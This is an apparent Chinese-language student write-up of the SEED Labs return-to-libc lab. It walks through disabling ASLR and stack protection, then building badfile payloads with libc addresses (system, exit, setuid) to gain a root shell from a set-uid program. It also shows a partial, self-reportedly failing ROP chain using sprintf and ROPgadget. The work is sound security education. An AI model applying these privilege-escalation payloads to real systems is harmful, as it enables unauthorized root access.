信息安全 SEED Lab5 Return-to-libc Attack Lab

首先在实验的最开始我们把对抗缓冲区溢出攻击的措施关闭,关闭地址随机化的代码如下

sudo sysctl -w kernel.randomize_va_space=0

使用如下命令去编译代码,可以禁用编译器的栈保护

gcc -fno-stack-protector example.c

使用如下命令去编译代码,可以指定是否可执行栈上代码

For executable stack:
$ gcc -z execstack -o test test.c
For non-executable stack:
$ gcc -z noexecstack -o test test.c

最后我们要使用 另一个未实施对抗策略的shell zsh 而不是实施了对抗策略的shell dash。即当 dash 发现自己自己在一个 set-uid程序中执行时,它会把 effective user-id 改成 real user-id, 也就是放弃了特权。

要攻击的程序的代码如下:

// retlib.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t be able to use the solutions from the past.
* Suggested value: between 0 and 200 (cannot exceed 300, or
* the program won’t have a buffer-overflow problem). */
#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(FILE *badfile)
{
    char buffer[BUF_SIZE];
    
    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 300, badfile);
    
    return 1;
}

int main(int argc, char **argv)
{
    FILE *badfile;
    
    /* Change the size of the dummy array to randomize the parameters
    for this lab. Need to use the array at least once */
    char dummy[BUF_SIZE*5]; memset(dummy, 0, BUF_SIZE*5);
    
    badfile = fopen("badfile", "r");
    bof(badfile);
    
    printf("Returned Properly\n");
    fclose(badfile);
    return 1;
}

这里我们使用默认的BUF_SIZE, 将上面的代码使用下面的命令进行编译。并设置为 root set-uid 程序

 

1. Task 1

这部分主要是去查看要利用的system函数加载的地址。先新建一个程序要读取的badfile文件,然后使用gdb进行调试。

可以看到清楚的打印除了两个函数的加载地址。

要注意同一个程序,其为root set-uid 和非 set-uid 程序时函数地址时不一样的。上面是其为root set-uid程序时的地址

接着我们将其改成普通用户普通程序,再操作一遍,可以发现地址与上面的不一样了

改成普通用户 set-uid程序,如下,可以看到与普通用户普通程序的地址一样。

最后改成 root 普通程序,如下

最后的最后,再将其改回root set-uid程序,结果如下

 

分析以上结果可以发现四种情况中,只有root set-uid 的函数地址不太一样,其他3种是一样的。

具体原因的话可能与多方面原因有关,个人认为基本可以排除与环境变量的关系,主要还是与加载器的实现有关系。

 

2. Task 2

这部分主要是设置跳转到system函数时传递的参数,我们通过环境变量设置字符串,并通过调试找到字符串的地址,并在跳转时传递字符串的地址即可。

我们通过下面一小段代码来测试输出字符串的地址

void main(){
    char* shell = getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int)shell);
}

编译并运行,可以看到每次的输出地址是一样的,因为我们关闭了操作系统的地址随机化

 

3. Task 3

这部分主要就是对上面程序的真正攻击,生成badfile的辅助代码如下, 我们只要修改其中的3个地址就可以了。

/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buf[40];
    FILE *badfile;

    badfile = fopen("./badfile", "w");
    
    /* You need to decide the addresses and
    the values for X, Y, Z. The order of the following
    three statements does not imply the order of X, Y, Z.
    Actually, we intentionally scrambled the order. */
    *(long *) &buf[X] = some address ; // "/bin/sh" ✰
    *(long *) &buf[Y] = some address ; // system() ✰
    *(long *) &buf[Z] = some address ; // exit() ✰
    
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);
}

仔细分析攻击的执行过程可以推出地址的存放结构如下:

+------------------------------+
|  string addr for System Func |
+------------------------------+
|        Exit Func Addr        |
+------------------------------+
|       System Func Addr       |
+------------------------------+
|        Main Func Ebp         |
+------------------------------+

下面通过调试找出这几个具体的值,因为我们设置的新的环境变量。所以不能直接用 Task 1中的函数的地址。

使用 b bof 打下断点,使用 run 命令执行到断点处,并运行si命令执行几次,如下:

查看几个关键地址如下,注意这里的buffer地址是错的,从上面的汇编代码中可以看出buffer地址为ebp-0x14 = 0xbfffea48 - 0x14 = 0xbfffea34

所以 (ebp - &buffer) / 4 = (ebp - (ebp - 0x14)) = 20, 所以main ebp位于buffer[24]处,根据上面推算出的结果,可以得到核心生成的代码如下:

    *(long *) &buf[32] = 0xbffffe19 ; // "/bin/sh" ✰
    *(long *) &buf[24] = 0xb7e42da0 ; // system() ✰
    *(long *) &buf[28] = 0xb7e369d0 ; // exit() ✰

编译并运行出错,从出错信息可以发现,给的字符串地址有问题,调试时的字符串地址和实际运行的不一样,实际运行指向的字符串为“in/sh”

我们可以猜测字符串的地址比实际后了2个字节,修改字符串地址为 0xbffffe17.再次尝试可以发现成功获取root权限

具体为什么在两个程序中环境变量不一样,差了两个字节,是因为两个文件名的长度不一样,一个是retlib,另一个是task2.并且由于文件名的环境变量放在MYSHELL环境变量的前面,所以文件名的长度变化会影响位置

 

Q1: exit函数是必须的吗?

A: exit函数不是必须的,只是便于攻击完成后优雅的退出。如果不设置shell执行完后执行exit函数,那么原本位置的值有极大概率为无效值,那么会报段错误强行退出。

去掉添加 exit() 函数 的代码后运行,结果如下,可以发现也能获取 root shell,但是退出shell后会报错

Q2: 攻击成功后修改程序名字(长度不一样),还能用原来的badfile攻击成功吗?

A: 不能。修改名字主要是影响程序栈上的环境变量,如修改后长度与之前一样,那么能继续攻击成功。如不一样就会攻击失败,因为字符串的地址会发生变化。

这里演示我们将名字改为newretlib, 其提示找不到程序h,具体原因和上面我分析的差2个字节是一样的,不再赘述

 

4. Task 4

这部分主要是打开地址随机化进行攻击。使用下面的命令打开地址随机化

 sudo sysctl -w kernel.randomize_va_space=2

尝试攻击可以发现攻击失败,原因肯定是上面的3个地址有问题,3个下标是没有问题的,因为他们只跟汇编代码有关系,而代码是固定的。

运行之前的查看MYSHELL环境变量地址程序,可以发现每次地址都不一样,所以我们填的字符串地址是错的。

再用 gdb 进行调试,注意gdb默认关闭了地址随机化(不管操作系统是否打开),可以使用 show disable-randomization 查看是否打开了地址随机化。使用 set disable-randomization on 和 set disable-randomization off 去打开和关闭随机化,这里我们打开随机化模拟运行时情况。

多次尝试查看两个函数地址,结果如下,可以发现每次的地址都不一样

综上所述,打开地址随机化后,关键的6个数据中,3个下标是对的,但是3个地址每次是变化的,所以我们的攻击失败了。

 

5. Task 5

这部分主要是将zsh替换成有对抗措施的Dash,再次进行攻击。先用下面的命令将/bin/sh指向/bin/dash,并将地址随机化关闭

sudo ln -sf /bin/dash /bin/sh
sudo sysctl -w kernel.randomize_va_space=0

采用的攻击方法就是在调用system函数之前先调用setuid(0),这样就能绕过对抗措施了

同样分析这个攻击的函数执行过程,可以构造如下结构

+------------------------------+
|  string addr for System Func |
+------------------------------+
|       SetUid Func Param      |
+------------------------------+
|       System Func Addr       |
+------------------------------+
|       SetUid Func Addr       |
+------------------------------+
|        Main Func Ebp         |
+------------------------------+

调试得到两个函数的地址如下:

由上可以写出构造badfile的代码

    *(long *) &buf[36] = 0xbffffe17 ; // "/bin/sh" ✰
    *(long *) &buf[28] = 0xb7e42da0 ; // system() ✰
    *(long *) &buf[32] = 0 ; // 0 ✰
    *(long *) &buf[24] = 0xb7eb9170 ; // setuid(0) ✰

尝试攻击,可以发现攻击成功

只是由于先运行了setuid(0)导致放0参数的位置不能再放exit函数地址了,两个位置是冲突的,所以退出shell会报错

在task5中,实际简化了很多,它用的是fread函数所以,我们填的0参数会被读到缓冲区中,而如果换成strcpy则不会读入进去,那么就会攻击失败。

 

6. Task 6

我们的思路是先在set-uid的参数位置上随便放一个不为0的值,再先调用4次sprintf将这个值全修改为0,然后调用setuid(0) 和 system

思路所构造结构如下,大致上与前面类似,只是前面插入了4次对sprintf函数的调用,每次设置一个字节为0,最后就是对setuid(0) 和 system函数的调用。

+------------------------------+
|  string addr for System Func |
+------------------------------+
|       SetUid Func Param      |
+------------------------------+
|       System Func Addr       |
+------------------------------+
|       SetUid Func Addr       |
+------------------------------+
|     Sprintf Param 2 addr     |
+------------------------------+
|     Sprintf Param 1 addr     |
+------------------------------+
|       Pop Pop Ret Addr       |
+------------------------------+
|       Sprintf Func Addr      |
+------------------------------+
|     Sprintf Param 2 addr     |
+------------------------------+
|     Sprintf Param 1 addr     |
+------------------------------+
|       Pop Pop Ret Addr       |
+------------------------------+
|       Sprintf Func Addr      |
+------------------------------+
|     Sprintf Param 2 addr     |
+------------------------------+
|     Sprintf Param 1 addr     |
+------------------------------+
|       Pop Pop Ret Addr       |
+------------------------------+
|       Sprintf Func Addr      |
+------------------------------+
|     Sprintf Param 2 addr     |
+------------------------------+
|     Sprintf Param 1 addr     |
+------------------------------+
|       Pop Pop Ret Addr       |
+------------------------------+
|       Sprintf Func Addr      |
+------------------------------+
|        Main Func Ebp         |
+------------------------------+

每次调用sprintf的代码如下,它可以将buf[0] 修改为 '\0' 也就是真正的0,重复4次即可。后面的字符串我们用环境变量传进去

sprintf(buf, "")

先设置一个环境变量为空,并修改readev.c查看两个环境变量的地址

void main(){
    char* shell = getenv("MYSHELL");
    char* shell1 = getenv("passval");
    if (shell)
        printf("%x\n", (unsigned int)shell);
    if (shell1)
        printf("%x\n", (unsigned int)shell1);
}

编译并运行得到两个环境变量的地址

调试可知ebp值位0xbfffea28, 其指向main函数的ebp,通过上面的结构可知set-uid的参数地址为0xbfffea28 + 4 * 19 = 0xbfffea74

所以sprintf的4次调用第1个参数分别为0xbfffea74, 0xbfffea75, 0xbfffea76, 0xbfffea77

最后我们需要找到标准库中为 pop pop ret的连续指令,这里我们安装ROPgadget这个库,它可以快速找到这样的连续指令,也叫做Gadgets。

pip3 install Gadgets

查看要攻击的程序所依赖的动态库

这里我们从libc.so.6中去找,用以下命令即可

ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --only "pop|pop|ret"

得到的输出如下,我们选用带红框这条,它的相对偏移为0x2d096

调试查看程序加载的动态库基地址,如下,所以这条指令的地址为 0xb7e1f750 + 0x2d096 = 0xb7e4c7e6

所有地址都拿到了,构造的代码如下:

    *(long *) &buf[24] = 0xb7e516d0 ; // "sprintf" ✰
    *(long *) &buf[28] = 0xb7e4c7e6 ; // pop pop ret ✰
    *(long *) &buf[32] = 0xbfffea74 ; // sprintf param 1 ✰
    *(long *) &buf[36] = 0xbffff75b ; // sprintf param 2 ✰
    *(long *) &buf[40] = 0xb7e516d0 ; // "sprintf" ✰
    *(long *) &buf[44] = 0xb7e4c7e6 ; // pop pop ret ✰
    *(long *) &buf[48] = 0xbfffea75 ; // sprintf param 1 ✰
    *(long *) &buf[52] = 0xbffff75b ; // sprintf param 2 ✰
    *(long *) &buf[56] = 0xb7e516d0 ; // "sprintf" ✰
    *(long *) &buf[60] = 0xb7e4c7e6 ; // pop pop ret ✰
    *(long *) &buf[64] = 0xbfffea76 ; // sprintf param 1 ✰
    *(long *) &buf[68] = 0xbffff75b ; // sprintf param 2 ✰
    *(long *) &buf[72] = 0xb7e516d0 ; // "sprintf" ✰
    *(long *) &buf[76] = 0xb7e4c7e6 ; // pop pop ret ✰
    *(long *) &buf[80] = 0xbfffea77 ; // sprintf param 1 ✰
    *(long *) &buf[84] = 0xbffff75b ; // sprintf param 2 ✰

    *(long *) &buf[88] = 0xb7eb9170 ; // setuid(0) ✰
    *(long *) &buf[92] = 0xb7e42da0 ; // system() ✰
    *(long *) &buf[96] = 0xffffffff ; // setuid param ✰
    *(long *) &buf[100] = 0xbffffe13 ; // "/bin/sh" ✰

最后运行报错了,时间也来不及了,只能做到这里了,简单调试分析了下原因,写入的地址很多有问题,但是感觉自己的思路没啥问题,实现上问题还是挺多的。

最后感觉ROP真是个神奇的东西,只要是函数间用栈传递参数,并且给定一堆pop并以ret结尾的代码,就能实现任意的函数跳转,ROP确实很有魅力,很神奇。

  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值